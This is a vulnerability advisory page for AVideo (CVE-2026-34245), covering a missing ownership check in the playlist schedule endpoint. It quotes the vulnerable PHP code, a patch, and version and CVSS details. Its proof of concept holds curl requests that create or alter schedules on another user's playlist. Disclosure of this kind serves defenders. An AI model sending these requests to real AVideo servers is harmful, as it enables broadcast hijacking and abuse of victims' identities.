Medium

AVideo: Missing Authorization in Playlist Schedule Creation Allows Cross-User Broadcast Hijacking

  • Disclosed: 29.03.2026
  • Updated: 11.10.2026 10:22

Summary

The plugin/PlayLists/View/Playlists_schedules/add.json.php endpoint allows any authenticated user with streaming permission to create or modify broadcast schedules targeting any playlist on the platform, regardless of ownership. When the schedule executes, the rebroadcast runs under the victim playlist owner's identity, allowing content hijacking and stream disruption.

Details

The endpoint at plugin/PlayLists/View/Playlists_schedules/add.json.php performs only a capability check, not an ownership check:

php
// add.json.php:14 — only checks if user CAN stream, not if they OWN the playlist
if (!User::canStream()) {
    forbiddenPage(__("You cannot livestream"));
}

// Line 18-19: attacker-controlled playlists_id is used directly
$o = new Playlists_schedules(@$_POST['id']);
$o->setPlaylists_id($_POST['playlists_id']);

The Playlists_schedules::save() method (line 182) only validates that playlists_id is non-empty — no ownership check:

php
public function save()
{
    if(empty($this->playlists_id)){
        _error_log("Playlists_schedules::save playlists_id is empty");
        return false;
    }
    // ...
    return parent::save();
}

When the schedule triggers via plugin/PlayLists/run.php, the rebroadcast executes under the playlist owner's user ID, not the schedule creator's:

php
// run.php:55 — uses playlist owner's ID
$pl = new PlayList($ps->playlists_id);
$response = Rebroadcaster::rebroadcastVideo(
    $ps->current_videos_id,
    $pl->getUsers_id(),  // <-- victim's user ID
    Playlists_schedules::getPlayListScheduledIndex($value['id']),
    $title
);

By contrast, all other playlist modification endpoints properly verify ownership via PlayLists::canManagePlaylist():

php
// PlayLists.php:55-68
static function canManagePlaylist($playlists_id)
{
    if (!User::isLogged()) return false;
    if (self::canManageAllPlaylists()) return true;
    $pl = new PlayList($playlists_id);
    if ($pl->getUsers_id() == User::getId()) return true;
    return false;
}

This check is used in saveShowOnTV.json.php:43, playListToSerie.php:24, and getPlaylistButtons.php:34, but is entirely absent from add.json.php.

Additionally, the delete.json.php endpoint requires User::isAdmin() (line 11), making the disparity with add.json.php even clearer.

When providing an existing schedule id via POST (line 18), no ownership check is performed on the existing schedule record either, allowing modification of any schedule on the platform.

PoC

bash
# Step 1: Authenticate as a normal user with streaming permission
# Obtain PHPSESSID via login

# Step 2: Create a broadcast schedule targeting another user's playlist
# Replace VICTIM_PLAYLIST_ID with the target playlist ID (enumerable via API)
curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \
  -H 'Cookie: PHPSESSID=<attacker_session>' \
  -d 'playlists_id=<VICTIM_PLAYLIST_ID>&name=hijacked&start_datetime=2026-03-26+12:00:00&finish_datetime=2026-03-27+12:00:00&loop=1&repeat=d&parameters={}'

# Expected: {"error":false} — schedule created for victim's playlist
# The schedule will execute via run.php under the victim's user identity

# Step 3: Modify an existing schedule by providing its id
curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \
  -H 'Cookie: PHPSESSID=<attacker_session>' \
  -d 'id=<EXISTING_SCHEDULE_ID>&playlists_id=<VICTIM_PLAYLIST_ID>&name=modified&start_datetime=2026-03-26+00:00:00&finish_datetime=2026-03-28+00:00:00&loop=1&repeat=d&parameters={}'

Impact

  • Content hijacking: Attacker can force-broadcast content from any user's playlist, including private or paid content
  • Stream disruption: Scheduled rebroadcast can interfere with a victim's ongoing live streams
  • Identity abuse: Rebroadcast executes under the victim's user identity, making it appear the victim initiated the broadcast
  • Resource consumption: Scheduled broadcasts consume the victim's server bandwidth allocation
  • Schedule tampering: Existing schedules can be modified or redirected by any streaming user

Recommended Fix

Add ownership validation in add.json.php before saving:

php
// After line 16 (canStream check), add:
$playlists_id = intval($_POST['playlists_id']);
if (!PlayLists::canManagePlaylist($playlists_id)) {
    forbiddenPage(__("You cannot manage this playlist"));
}

// When editing existing schedules, also verify ownership of the existing record:
if (!empty($_POST['id'])) {
    $existing = new Playlists_schedules(intval($_POST['id']));
    if (!PlayLists::canManagePlaylist($existing->getPlaylists_id())) {
        forbiddenPage(__("You cannot modify this schedule"));
    }
}

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package wwbn/avideo <= 26.0 no fix

References

CVSS score 6.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weakness (CWE)
CWE-862
Platform
Composer
Package
wwbn/avideo
Disclosed
29.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-2rm7-j397-3fqg - CC BY 4.0

Vulnerability history: wwbn/avideo

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (160) in the archive
Total entries
160
First → latest
04.2022 06.2026
Without a fix
143
Exploited in attacks
0

Severity breakdown

  • Critical 14
  • High 61
  • Medium 83
  • Low 2

Disclosures per year

  1. 2022: 2
  2. 2023: 5
  3. 2024: 5
  4. 2025: 0
  5. 2026: 148
Severity:
  1. AVideo: Missing Authorization in Playlist Schedule Creation Allows Cross-User Broadcast Hijacking this entry
    Medium · 6.3 CVE-2026-34245 <= 26.0 no fix
  2. High · 9.8 CVE-2026-41304 <= 29.0 no fix
Show more (20) Showing 21 of 76

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.